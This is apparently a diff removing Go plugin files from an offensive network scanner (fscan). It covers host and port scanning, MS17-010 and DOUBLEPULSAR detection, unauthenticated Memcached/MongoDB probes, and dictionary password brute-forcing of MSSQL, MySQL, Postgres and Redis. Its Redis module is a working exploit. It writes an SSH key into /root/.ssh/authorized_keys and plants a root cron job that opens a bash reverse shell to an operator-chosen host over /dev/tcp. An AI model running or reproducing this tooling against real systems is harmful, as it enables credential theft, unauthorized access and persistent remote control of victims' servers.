if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
|
||||
if Ping == false {
|
||||
IcmpCheck(hostslist)
|
||||
} else {
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}
|
||||
} else {
|
||||
fmt.Println("The current user permissions unable to send icmp packets")
|
||||
fmt.Println("start ping")
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}
|
||||
}
|
||||
return AliveHosts
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MemcachedScan(info *common.HostInfo) (err error, result string) {
|
||||
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mem"])
|
||||
client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err == nil {
|
||||
if strings.Contains(string(rev[:n]), "STAT") {
|
||||
defer client.Close()
|
||||
result = fmt.Sprintf("Memcached:%s unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
return err, result
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MongodbScan(info *common.HostInfo) error {
|
||||
_, err := MongodbUnauth(info)
|
||||
return err
|
||||
}
|
||||
|
||||
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
flag = false
|
||||
senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
|
||||
getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
|
||||
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mgo"])
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write(senddata)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
buf := make([]byte, 1024)
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
text := string(buf[0:count])
|
||||
if strings.Contains(text, "ismaster") {
|
||||
_, err = conn.Write(getlogdata)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
text := string(buf[0:count])
|
||||
if strings.Contains(text, "totalLinesWritten") {
|
||||
flag = true
|
||||
result := fmt.Sprintf("Mongodb:%v unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,151 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
|
||||
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
|
||||
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
|
||||
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
|
||||
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
|
||||
)
|
||||
|
||||
func MS17010(info *common.HostInfo) error {
|
||||
err := MS17010Scan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
func MS17010Scan(info *common.HostInfo) error {
|
||||
|
||||
ip := info.Host
|
||||
// connecting to a host in LAN if reachable should be very quick
|
||||
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(negotiateProtocolRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
reply := make([]byte, 1024)
|
||||
// let alone half packet
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = conn.Write(sessionSetupRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
||||
var Err = errors.New("can't determine whether target is vulnerable or not")
|
||||
return Err
|
||||
}
|
||||
|
||||
// extract OS info
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
// find byte count
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
fmt.Println("invalid session setup AndX response")
|
||||
} else {
|
||||
// two continous null bytes indicates end of a unicode string
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
// TODO change the ip in tree path though it doesn't matter
|
||||
_, err = conn.Write(treeConnectRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
_, err = conn.Write(transNamedPipeRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
// detect present of DOUBLEPULSAR SMB implant
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
_, err = conn.Write(trans2SessionSetupRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
|
||||
result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
|
||||
} else {
|
||||
result := fmt.Sprintf("%s (%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
return err
|
||||
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MssqlScan(info *common.HostInfo) (tmperr error) {
|
||||
for _, user := range common.Userdict["mssql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MssqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mssql %v %v %v %v %v", info.Host, common.PORTList["mssql"], user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, common.PORTList["mssql"], user, pass
|
||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
|
||||
db, err := sql.Open("mssql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] mssql:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MysqlScan(info *common.HostInfo) (tmperr error) {
|
||||
for _, user := range common.Userdict["mysql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MysqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mysql %v %v %v %v %v", info.Host, common.PORTList["mysql"], user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, common.PORTList["mysql"], user, pass
|
||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host, Port, "mysql")
|
||||
db, err := sql.Open("mysql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] mysql:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,101 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, adjustedTimeout int64) {
|
||||
for port := range ports {
|
||||
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout)*time.Second)
|
||||
if err == nil {
|
||||
con.Close()
|
||||
address := host + ":" + strconv.Itoa(port)
|
||||
result := fmt.Sprintf("%s open", address)
|
||||
common.LogSuccess(result)
|
||||
respondingHosts <- address
|
||||
}
|
||||
}
|
||||
done <- true
|
||||
}
|
||||
|
||||
func ScanAllports(address string, probePorts []int, threads int, adjustedTimeout int64) ([]string, error) {
|
||||
ports := make(chan int, 20)
|
||||
results := make(chan string)
|
||||
done := make(chan bool, threads)
|
||||
|
||||
for worker := 0; worker < threads; worker++ {
|
||||
go ProbeHosts(address, ports, results, done, adjustedTimeout)
|
||||
}
|
||||
|
||||
for _, port := range probePorts {
|
||||
ports <- port
|
||||
}
|
||||
close(ports)
|
||||
|
||||
var responses = []string{}
|
||||
for {
|
||||
select {
|
||||
case found := <-results:
|
||||
responses = append(responses, found)
|
||||
case <-done:
|
||||
threads--
|
||||
if threads == 0 {
|
||||
return responses, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TCPportScan(hostslist []string, ports string, timeout int64) []string {
|
||||
var AliveAddress []string
|
||||
probePorts := common.ParsePort(ports)
|
||||
lm := 20
|
||||
if len(hostslist) > 5 && len(hostslist) <= 50 {
|
||||
lm = 40
|
||||
} else if len(hostslist) > 50 && len(hostslist) <= 100 {
|
||||
lm = 50
|
||||
} else if len(hostslist) > 100 && len(hostslist) <= 150 {
|
||||
lm = 60
|
||||
} else if len(hostslist) > 150 && len(hostslist) <= 200 {
|
||||
lm = 70
|
||||
} else if len(hostslist) > 200 {
|
||||
lm = 75
|
||||
}
|
||||
|
||||
thread := 10
|
||||
if len(probePorts) > 500 && len(probePorts) <= 4000 {
|
||||
thread = len(probePorts) / 100
|
||||
} else if len(probePorts) > 4000 && len(probePorts) <= 6000 {
|
||||
thread = len(probePorts) / 200
|
||||
} else if len(probePorts) > 6000 && len(probePorts) <= 10000 {
|
||||
thread = len(probePorts) / 350
|
||||
} else if len(probePorts) > 10000 && len(probePorts) < 50000 {
|
||||
thread = len(probePorts) / 400
|
||||
} else if len(probePorts) >= 50000 && len(probePorts) <= 65535 {
|
||||
thread = len(probePorts) / 500
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
mutex := &sync.Mutex{}
|
||||
limiter := make(chan struct{}, lm)
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
defer wg.Done()
|
||||
if aliveAdd, err := ScanAllports(host, probePorts, thread, timeout); err == nil && len(aliveAdd) > 0 {
|
||||
mutex.Lock()
|
||||
AliveAddress = append(AliveAddress, aliveAdd...)
|
||||
mutex.Unlock()
|
||||
}
|
||||
<-limiter
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
return AliveAddress
|
||||
}
|
||||
@@ -1,45 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func PostgresScan(info *common.HostInfo) (tmperr error) {
|
||||
for _, user := range common.Userdict["postgresql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag, err := PostgresConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] psql %v %v %v %v %v", info.Host, common.PORTList["psql"], user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, common.PORTList["psql"], user, pass
|
||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
|
||||
db, err := sql.Open("mysql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("Postgres:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,289 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func RedisScan(info *common.HostInfo) (tmperr error) {
|
||||
flag, err := RedisUnauth(info)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
}
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
||||
flag, err := RedisConn(info, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] redis %v %v %v %v %v", info.Host, common.PORTList["redis"], pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
Expoilt(realhost, conn)
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
if strings.Contains(reply, "redis_version") {
|
||||
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
Expoilt(realhost, conn)
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func Expoilt(realhost string, conn net.Conn) error {
|
||||
flagSsh, flagCron, err := testwrite(conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if flagSsh == true {
|
||||
result := fmt.Sprintf("Redis:%v like can write /root/.ssh/", realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisFile != "" {
|
||||
writeok, text, err := writekey(conn, common.RedisFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if writeok {
|
||||
result := fmt.Sprintf("%v SSH public key was written successfully", realhost)
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if flagCron == true {
|
||||
result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/", realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisShell != "" {
|
||||
writeok, text, err := writecron(conn, common.RedisShell)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if writeok {
|
||||
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully", realhost)
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
fmt.Println("Redis:", realhost, "cron write failed", text)
|
||||
}
|
||||
}
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
key, err := Readfile(filename)
|
||||
if err != nil {
|
||||
text = fmt.Sprintf("Open %s error, %v", filename, err)
|
||||
return flag, text, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
text = fmt.Sprintf("the keyfile %s is empty", filename)
|
||||
return flag, text, err
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
func Readfile(filename string) (string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func readreply(conn net.Conn) (result string, err error) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
result += string(buf[0:count])
|
||||
if count < 4096 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
var text string
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flagCron = true
|
||||
}
|
||||
return flag, flagCron, err
|
||||
}
|
||||
@@ -1,94 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func Scan(info common.HostInfo) {
|
||||
fmt.Println("scan start")
|
||||
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
|
||||
if common.IsPing == false {
|
||||
Hosts = ICMPRun(Hosts, common.Ping)
|
||||
fmt.Println("icmp alive hosts len is:", len(Hosts))
|
||||
}
|
||||
if info.Scantype == "icmp" {
|
||||
return
|
||||
}
|
||||
AlivePorts := TCPportScan(Hosts, info.Ports, info.Timeout)
|
||||
if info.Scantype == "portscan" {
|
||||
return
|
||||
}
|
||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
||||
for _, port := range common.PORTList {
|
||||
severports = append(severports, strconv.Itoa(port))
|
||||
}
|
||||
var ch = make(chan struct{}, common.Threads)
|
||||
var wg = sync.WaitGroup{}
|
||||
for _, targetIP := range AlivePorts {
|
||||
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
|
||||
if info.Scantype == "all" {
|
||||
if info.Ports == "445" { //scan more vul
|
||||
AddScan("1000001", info, ch, &wg)
|
||||
AddScan("1000002", info, ch, &wg)
|
||||
} else if IsContain(severports, info.Ports) {
|
||||
AddScan(info.Ports, info, ch, &wg)
|
||||
} else {
|
||||
AddScan("1000003", info, ch, &wg) //webtitle
|
||||
}
|
||||
} else {
|
||||
port, _ := common.PortlistBack[info.Scantype]
|
||||
scantype := strconv.Itoa(port)
|
||||
AddScan(scantype, info, ch, &wg)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
common.WaitSave()
|
||||
}
|
||||
|
||||
func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
err, _ := ScanFunc(PluginList, scantype, &info)
|
||||
if common.LogErr {
|
||||
